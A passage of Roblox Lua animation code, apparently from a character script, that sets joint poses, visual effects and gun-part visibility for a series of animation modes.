Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0)*CFrame.Angles(0,0,math.rad(-15+5*math.sin(sine/25)))* LEFTSHOULDERC0,.25) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1-.1*math.sin(sine/25),-.01)*CFrame.Angles(0,math.rad(80),0),.25) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-.5-.25*math.sin(sine/25),-.51)*CFrame.Angles(math.rad(-10),math.rad(-80),0),.25) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 5 then RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0*CFrame.new(0,0,.05*math.cos(SINE/12))*CFrame.Angles(math.rad(15),0,0),.25) Neck.C0 = Clerp(Neck.C0,NECKC0*CFrame.Angles(math.rad(-15-3*math.cos(SINE/12)),math.rad(5-5*math.sin(SINE/12)),0),.25) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5+0.1*math.cos(SINE/12),0)*CFrame.Angles(math.rad(-53.75+1.75*math.cos(SINE/12)),0,math.rad(5))*RIGHTSHOULDERC0,.25) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5+.1*math.sin(SINE/12),0)*CFrame.Angles(math.rad(15),0,math.rad(-5+5*math.cos(SINE/12)))*LEFTSHOULDERC0,.25) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1-.05*math.cos(SINE/12),-.01)*CFrame.Angles(math.rad(10),math.rad(80),math.rad(0)),.25) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1-.05*math.cos(SINE/12),-.01)*CFrame.Angles(math.rad(20),math.rad(-80),math.rad(0)),.25) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15)*CFrame.Angles(math.rad(-106.3-.9*math.cos(sine/12)),0,0),.25) elseif mde == 6 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0,0,3+0.5*math.cos(sine / 41)) * CFrame.Angles(math.rad(0+1*math.cos(sine / 41)), math.rad(0+1*math.cos(sine / 27)), math.rad(0+1*math.cos(sine / 32))),0.35) Neck.C0 = Clerp(Neck.C0, NECKC0 * CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(20+5*math.cos(sine / 40)), math.rad(0+1*math.cos(sine / 12)), math.rad(0)),0.35) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.25,.5,-.1) * CFrame.Angles(math.rad(45),math.rad(-45),math.rad(0)) * RIGHTSHOULDERC0,.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CFrame.new(-0.6, 0.5, -0.3) * CFrame.Angles(math.rad(60+1*math.cos(sine / 22)), math.rad(0+1*math.cos(sine / 25)), math.rad(70+1*math.cos(sine / 30))) * LEFTSHOULDERC0,0.35) RightHip.C0 = Clerp(RightHip.C0, CFrame.new(1, -1, -1) * CFrame.Angles(math.rad(90), math.rad(-20), math.rad(-70)) * CFrame.Angles(math.rad(0+1*math.cos(sine / 23)), math.rad(90+1*math.cos(sine / 34)), math.rad(0+1*math.cos(sine / 31))),0.35) LeftHip.C0 = Clerp(LeftHip.C0, CFrame.new(-1, -1 , 0) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0)) * CFrame.Angles(math.rad(0+1*math.cos(sine / 26)), math.rad(-90+1*math.cos(sine / 20)), math.rad(0+1*math.cos(sine / 30))),0.35) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(-.02,-10,0) * CFrame.Angles(math.rad(140),math.rad(0),math.rad(-40)),1) elseif mde == 7 then if NeckSnap then Neck.C0 = Clerp(Neck.C0,NECKC0*CFrame.Angles(math.rad(20),math.rad(10*math.sin(sine/100)),0),1) NeckSnap = false else Neck.C0 = Clerp(Neck.C0,NECKC0*CFrame.Angles(math.rad(20),math.rad(10*math.sin(sine/100)),0),.25) end if math.random(1,60) == 1 then Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,0,0) * CFrame.Angles(math.rad(20+math.random(-20,20)),math.rad((10*math.cos(sine/100))+math.random(-20,20)),math.rad(math.random(-20,20))),1) end GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-120),math.rad(0),math.rad(0)),1/2) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0*CFrame.new(0 + .5 * math.cos(sine/50),0,3 - .5 * math.sin(sine/50))*CFrame.Angles(math.rad(-25+5*math.sin(sine/50)),0,0),.7/3) Neck.C0 = Clerp(Neck.C0,NECKC0*CFrame.new(0,0 ,0 + ((1) - 1)) * CFrame.Angles(math.rad(30+5*math.sin(sine/50)),math.rad(0),math.rad(0)),0.7/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.55, 0.5, 0.5) * CFrame.Angles(math.rad(250), math.rad(20), math.rad(-80))* RIGHTSHOULDERC0, 1 / 3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,0.5,0) * CFrame.Angles(math.rad(-20 + 8.5 * math.cos(sine/50)),math.rad(0),math.rad(-25 - 5 * math.cos(sine/25))) * LEFTSHOULDERC0,0.7/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-0.5,-0.5) * CFrame.Angles(math.rad(-5 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),0.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(13 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),0.7/3) elseif mde == 8 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 3 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(-45)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(45)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(145), RAD(0), RAD(0)) * ANGLES(RAD(0), RAD(3), RAD(0)) * RIGHTSHOULDERC0, 0.25 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.25, 0.5, 0.5) * ANGLES(RAD(-45), RAD(0), RAD(45)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-.5,-.5) * CFrame.Angles(math.rad(-15 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-15 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 9 then local headsnap = math.random(1,60); local headsnapping=false; if headsnap == 1 then Neck.C0 = Clerp(Neck.C0, NECKC0 * CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(math.random(500,500)), math.rad(math.random(500,500)), math.rad(math.random(500,500))), 1)headsnapping=true headsnapping=false end RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 , 0 , 3 - .5 * math.sin(sine/25)) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.8 / 3) Neck.C0 = Clerp(Neck.C0, NECKC0 * CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(math.random(0.25,3)), math.rad(math.random(0.25,3)), math.rad(math.random(0.25,3))), .7 / 3) RightShoulder.C0 = Clerp(RightShoulder.C0, CFrame.new(1.5, 0.5, 0) * CFrame.Angles(math.rad(-41.6-4*math.sin(sine/25)), math.rad(math.random(-0.25,3)), math.rad(math.random(0.25,3)))* RIGHTSHOULDERC0, .7 / 3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CFrame.new(-1.5, 0.5, 0) * CFrame.Angles(math.rad(20), math.rad(5+2* math.sin(sine/25+math.random(-0.25,3))), math.rad(-2+5*math.sin(sine / 25))) * LEFTSHOULDERC0, .7 / 3) RightHip.C0 = Clerp(RightHip.C0, CFrame.new(1, -1, 0) * CFrame.Angles(math.rad(-20-4*math.sin(sine/25-math.random(0.25,3))), math.rad(80), math.rad(0)), .7 / 3) LeftHip.C0 = Clerp(LeftHip.C0, CFrame.new(-1, -1 , 0) * CFrame.Angles(math.rad(-10-4*math.sin(sine/25-math.random(-0.25,3))), math.rad(-80), math.rad(0)), .7 / 3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 10 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 + .5 * math.cos(sine/50),0,3 - .5 * math.sin(sine/50)),.7/3) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(25), RAD(0)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.1, 0) * ANGLES(RAD(150), RAD(0), RAD(0))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.25, 0.5, 0.5) * ANGLES(RAD(-45), RAD(0), RAD(45)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-.5,-.5) * CFrame.Angles(math.rad(-15 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-15 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 11 then WACKYEFFECT({Time = 25, EffectType = "Sphere", Size = VT(1*sick.PlaybackLoudness/25,0.05,1*sick.PlaybackLoudness/25), Size2 = VT(0,0,0), Transparency = 0, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0,-3,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = Color3.fromRGB(100*sick.PlaybackLoudness/500,0,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -0.03 + 0.05 * COS(sine / 12)) * ANGLES(RAD(0), RAD(0), RAD(-35)), 1 / 5) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(25 + MRANDOM(-5,5) - 4 * COS(sine / 12)), RAD(MRANDOM(-5,5)), RAD(15)), 1 / 5) if math.random(1,5) == 1 then Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 + MRANDOM(-25,25) - 4 * COS(sine / 12)), RAD(MRANDOM(-25,25)), RAD(0)), 1.5 / 3) end RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0)*CFrame.Angles(math.rad(160),0,math.rad(15-5*math.sin(sine/25)))*RIGHTSHOULDERC0,.25) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5 + 0.025 * COS(sine / 12), 0) * ANGLES(RAD(0), RAD(0 + 7.5 * SIN(sine / 12)), RAD(-12 - 7.5 * SIN(sine / 12))) * LEFTSHOULDERC0, 0.15 / 5) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(sine / 12), 0) * ANGLES(RAD(0), RAD(95), RAD(0)) * ANGLES(RAD(-15), RAD(0), RAD(0)), 1 / 5) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(sine / 12), 0) * ANGLES(RAD(0), RAD(-55), RAD(0)) * ANGLES(RAD(-12), RAD(0), RAD(0)), 1 / 5) elseif mde == 12 then Effect({Time = MRANDOM(80,100),EffectType = "Box",Size = VT(2.75,2.75,2.75), Size2 = VT(0,0,0),Transparency = 0, Transparency2 = 1,CFrame = hitb.CFrame*ANGLES(RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360)),RAD(MRANDOM(-360,360))),MoveToPos = nil,RotationX = MRANDOM(-100/100,100/100), RotationY = MRANDOM(-100/100,100/100), RotationZ = MRANDOM(-100/100,100/100),Material = "Neon",Color = C3(),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 50}) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(-30.5), RAD(0), RAD(0)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-15 - 2.5 * SIN(SINE / 45) + MRANDOM(-4,4)), RAD(0 + MRANDOM(-4,4)), RAD(-10 + MRANDOM(-4,4))), 3 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(145 + MRANDOM(-20,20)), RAD(0 + MRANDOM(-20,20)), RAD(0 + MRANDOM(-20,20))) * ANGLES(RAD(0), RAD(3), RAD(0)) * RIGHTSHOULDERC0, 0.25 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(165 + MRANDOM(-4,4)), RAD(0 + MRANDOM(-4,4)), RAD(25 + MRANDOM(-4,4))) * LEFTSHOULDERC0, 0.8 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1-.05*math.cos(SINE/12),-.01)*CFrame.Angles(math.rad(-30.2),math.rad(80),math.rad(0)),.25) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1-.05*math.cos(SINE/12),-.01)*CFrame.Angles(math.rad(-31.9),math.rad(-80),math.rad(0)),.25) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 13 then RightShoulder.C0 = Clerp(RightShoulder.C0, CFrame.new(1.55, 0.5, 0.5) * CFrame.Angles(math.rad(250), math.rad(20), math.rad(-80))* RIGHTSHOULDERC0, 1 / 3) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(0 - 10 * COS(SINE / 12)), RAD(0 + 15 * COS(SINE / 12))) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, -1 + 0.02 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0 - 5 * COS(SINE / 12))), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0), RAD(0), RAD(25 + 8.5 * COS(SINE / 12))), 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -0.4+ 0.01 * COS(SINE / 12), -1) * ANGLES(RAD(0), RAD(90), RAD(0 - 5 * COS(SINE / 12))) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1.5+ 0.01 * COS(SINE / 12), -0.5) * ANGLES(RAD(-90 + 5 * COS(SINE / 12)), RAD(-90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) elseif mde == 14 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(-30)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(30)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(145 + 5.5 * COS(SINE / 12)), RAD(0 - 20 * COS(SINE / 12)), RAD(0 - 2 * COS(SINE / 12))) * ANGLES(RAD(0 + 20 * COS(SINE / 12)), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 0.25 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-45), RAD(0), RAD(45)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(95), RAD(0)) * ANGLES(RAD(-15), RAD(0), RAD(0)), 1 / 5) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(-55), RAD(0)) * ANGLES(RAD(-12), RAD(0 + 3 * COS(SINE / 12)), RAD(0)), 1 / 5) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 15 then Effect({Time = 10,EffectType = "Ring",Size = VT(0,0,0), Size2 = VT(0.1,0.3,0.1),Transparency = 0,Transparency2 = 1,CFrame = LeftArm.CFrame*CF(0,-1,0)*ANGLES(RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360))),MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = BrickColor.new("Pastel Blue").Color,SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 50}) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 + .5 * math.cos(sine/50),0,3 - .5 * math.sin(sine/50))* CFrame.Angles(math.rad(0),math.rad(0),math.rad(-35)),.7/3) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,0 ,0 + ((1) - 1)) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(35)),.7/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0) * CFrame.Angles(math.rad(135 + 8.5 * math.cos(sine/50)),math.rad(0),math.rad(25)) * RIGHTSHOULDERC0,.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0) * CFrame.Angles(math.rad(25 + 8.5 * math.cos(sine/50)),math.rad(10),math.rad(-25 - 5 * math.cos(sine/25))) * LEFTSHOULDERC0,.7/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-.5,-.5) * CFrame.Angles(math.rad(-15 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-15 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(10)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1/2) elseif mde == 16 then GUN.Base.Transparency = 1 GUN.GunAdditions.Transparency = 1 GUN.NeonParts.Transparency = 1 GUN.Mag.Transparency = 1 GUN.Trigger.Transparency = 1 GUN.scope1.Transparency = 1 GUN.Hole.Transparency = 1 GUN.Stock.Transparency = 1 GUN.scope.Transparency = 1 GUN.Holding.Transparency = 1 if not Character:FindFirstChild("WalkingWheel") and ANIM == "Idle" and ATTACK == false then local ww = Instance.new("Model") ww.Name = "WalkingWheel" for i = 1,36 do local wwpart = Instance.new("Part") wwpart.Size = Vector3.new(2,.2,.56) wwpart.CFrame = RootPart.CFrame * CFrame.new(0,.01,0) * CFrame.Angles(math.rad(85+(10*i)),0,0) * CFrame.new(0,3.1,0) weldBetween(RootPart,wwpart) wwpart.Material = "Neon" if i <= 18 then wwpart.CanCollide = false end wwpart.Color = Color3.new() wwpart.Parent = ww end ww.Parent = Character coroutine.resume(coroutine.create(function() repeat if stopeverything then wait(math.huge) end for i,v in pairs(ww:GetChildren()) do v.Color = GUN.NeonParts.Color end swait() until ATTACK or ANIM ~= "Idle" or mde ~= 16 alreadyfixing = true ww:Destroy() alreadyfixing = false end)) end RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0,0,-.2) * CFrame.Angles(math.rad(-sine*6),math.rad(0),math.rad(0)),.25) Neck.C0 = Clerp(Neck.C0,NECKC0,.25) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,0.5,0) * CFrame.Angles(math.rad(-75*math.sin(sine/5)),math.rad(0),math.rad(0)) * RIGHTSHOULDERC0,.25) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,0.5,0) * CFrame.Angles(math.rad(75*math.sin(sine/5)),math.rad(0),math.rad(0)) * LEFTSHOULDERC0,.25) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1,-0.01) * CFrame.Angles(math.rad(75*math.sin(sine/5)),math.rad(90),math.rad(0)),.25) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,-0.01) * CFrame.Angles(math.rad(-75*math.sin(sine/5)),math.rad(-90),math.rad(0)),.25) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(0.05,-1,-0.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),.25) elseif mde == 17 then GUN.Base.Transparency = 0 GUN.GunAdditions.Transparency = 0 GUN.NeonParts.Transparency = 0 GUN.Mag.Transparency = 0 GUN.Trigger.Transparency = 0 GUN.scope1.Transparency = 0 GUN.scope.Transparency = 0 GUN.Stock.Transparency = 0 GUN.Hole.Transparency = 0 GUN.Holding.Transparency = 0 RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0,0,3 - .5 * math.sin(sine/9)) * CFrame.Angles(math.rad(-20),math.rad(0),math.rad(0)),.7/3) Neck.C0 = Clerp(Neck.C0,NECKC0 * CFrame.new(0,-.05,0) * CFrame.Angles(math.rad(20),math.rad(0),math.rad(0)),.7/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.25,.5,-.1) * CFrame.Angles(math.rad(45),math.rad(-45),math.rad(0)) * RIGHTSHOULDERC0,.7/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1,.75,.1) * CFrame.Angles(math.rad(-165),math.rad(0),math.rad(40)) * LEFTSHOULDERC0,.7/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1,0) * CFrame.Angles(math.rad(-12.5),math.rad(90),math.rad(0)) * CFrame.Angles(math.rad(10),math.rad(0),math.rad(0)),.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(12.5),math.rad(-90),math.rad(0)) * CFrame.Angles(math.rad(10),math.rad(0),math.rad(0)),.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),1) elseif mde == 18 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(-20)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(20)), 0.15 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(0), RAD(-45 + 10.5 * COS(SINE / 12)), RAD(0))* RIGHTSHOULDERC0, 0.15 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(0), RAD(-10 + 8 * COS(SINE / 12)), RAD(0)) * LEFTSHOULDERC0, 0.15 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(75), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.05 * COS(SINE / 12), 0) * ANGLES(RAD(0), RAD(-50), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.15 / Animation_Speed) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(0.05,-1,-0.15) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0)),.25) elseif mde == 19 then RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0*CFrame.new(0,0,-.5*math.sin(sine/25))*CFrame.Angles(math.rad(20),0,0),.25) if NeckSnap then Neck.C0 = Clerp(Neck.C0,NECKC0*CFrame.Angles(math.rad(20),math.rad(10*math.sin(sine/50)),0),1) NeckSnap = false else Neck.C0 = Clerp(Neck.C0,NECKC0*CFrame.Angles(math.rad(20),math.rad(10*math.sin(sine/50)),0),.25) end if math.random(1,60) == 1 then Neck.C0 = Clerp(Neck.C0,NECKC0*CFrame.Angles(math.rad(20+math.random(-20,20)),math.rad((10*math.sin(sine/50))+math.random(-20,20)),math.rad(math.random(-20,20))),1) end RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0)*CFrame.Angles(math.rad(-10),0,0)*RIGHTSHOULDERC0,.25) SwordJoint.C0 = Clerp(SwordJoint.C0,CFrame.new(0,-1,0)*CFrame.Angles(math.rad(154.35-5.65*math.sin(sine/25)),0,0),.25) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0)*CFrame.Angles(math.rad(20),0,math.rad(-10-10*math.cos(sine/25)))*LEFTSHOULDERC0,.25) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1,0)*CFrame.Angles(math.rad(10),math.rad(80),math.rad(10+10*math.cos(sine/25))),.25) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0)*CFrame.Angles(math.rad(20),math.rad(-80),math.rad(-10-10*math.cos(sine/25))),.25) elseif mde == 20 then if LookUp == false then Neck.C0 = Clerp(Neck.C0,NECKC0*CFrame.new(0,0,0)*CFrame.Angles(math.rad(0+1*math.cos(sine/25)),0,0),.25) elseif LookUp == true then Neck.C0 = Clerp(Neck.C0,NECKC0*CFrame.new(0,0,0)*CFrame.Angles(math.rad(-30+1*math.cos(sine/25)),0,0),.25) end SwordJoint.C0 = Clerp(SwordJoint.C0,CFrame.new(0,-0,-.5)*CFrame.Angles(0,math.rad(170),math.rad(-10)),.25) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0*CFrame.new(0, 0, -0.051 + 0.022 * math.cos(sine / 34))*CFrame.Angles(0,0,0),.25) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0)*CFrame.Angles(math.rad(80+5*math.cos(sine/34)),0,math.rad(45))*RIGHTSHOULDERC0,.25) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0)*CFrame.Angles(math.rad(5 * math.cos(sine / 24)),0,math.rad(-10 - 5.5 * math.cos(sine / 34)))*LEFTSHOULDERC0,.25) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-1- 0.05 * math.cos(sine / 34),0)*CFrame.Angles(math.rad(0),math.rad(80),math.rad(0)),.25) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1 - 0.05 * math.cos(sine / 34),0)*CFrame.Angles(math.rad(0),math.rad(-80),math.rad(0)),.25) elseif mde == 21 then WACKYEFFECT({Time = 25, EffectType = "Sphere", Size = VT(10,0.05,10), Size2 = VT(0,0,0), Transparency = 0, Transparency2 = 1, CFrame = RootPart.CFrame*CF(0,-3,0), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = Color3.fromRGB(0,75,0), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.05 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(-30)), 0.15 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(0 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(30)), 0.15 / Animation_Speed) if 